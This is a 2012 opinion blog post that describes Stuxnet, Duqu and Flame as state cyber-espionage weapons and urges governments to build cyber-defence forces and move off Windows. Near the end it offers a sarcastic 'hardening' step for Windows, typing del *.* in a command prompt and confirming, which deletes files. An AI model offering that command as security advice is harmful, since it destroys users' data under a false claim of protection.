First came Duqu, then Stuxnet and now Flame, which some investigators believe has been around for at least five years. They are malware that, going by their complexity, target machines and operation, are definitely not the work of script kiddies (most zero-day exploits aren't) and seem most likely like the work of state/s. They are all designed for cyber-espionage, and are being referred to as super-cyber weapons
Super Cyber Weapons
Stuxnet was specifically targeted at Iran's nuclear program, infecting Siemens software and hardware and spreading through Windows. Was the first malware discovered that targets industrial systems. It doesn't harm PCs and was highly targeted, akin to a sniper shot. It attacks Windows using 4 zero-day exploits with both user and kernel mode capabilities. It then attacks Siemens' SCADA software before attacking the Programmable Logic Controller and installing a rootkit.
Duqu has information stealing abilities, kernel drivers and injection tools and targets a flaw in Windows. It uses zero-day exploits and is believe to target Iran's nuclear program too as it attacks industrial control systems and deletes data on PCs. It spreads by stealing digital certificates and private keys to sign viruses once in a network and deletes itself after a given period to avoid detection.
Flame targets Windows and seems to be purely meant for espionage, recording keystrokes, skype conversations and more.
What it all means
Any government without cyber security/warfare policies and army (for lack of a better word) is a sitting duck, if not a sunk one. You may have the best navy, airforce and army in the world but the moment someone takes over your cyberspace, they are all useless, and can actually be used against the state's own people. Matters are further complicated by the fact that most if not all 'civilian systems' are automated at one point or another: Water and sewage systems, communication and infrastructure, medical systems...
A country does not have to be Iran to be worried of cyber weapons: though targeted at Iran's uranium enrichment plant, they all still spread to other systems, notably during propagation. You could be hurt inadvertently by weapons launched against someone else, and like a bullet, a malware too doesn't have a sorry capability.
Anyone who has a sufficient amount of RAM can see one name keeps popping up: Windows
Way forward
Invest in cyber security and create a cyber warfare division as part of the conventional defense forces of the state
For the CSO, this is an assured way to hardened your machine if it runs Windows:
click Start > Run
type Cmd
type del *.*
press Y and hit Enter
Install Linux and start earning your money and stop being a lazy F**K. Though it has been argued that if enough people use Linux it will be targeted more aggressively, anyone mildly into computers will tell you that Unix was written by people who knew what they were doing, and is more secure than Windows. Don't even think of iOS...
Tuesday, May 29, 2012
Subscribe to:
Posts (Atom)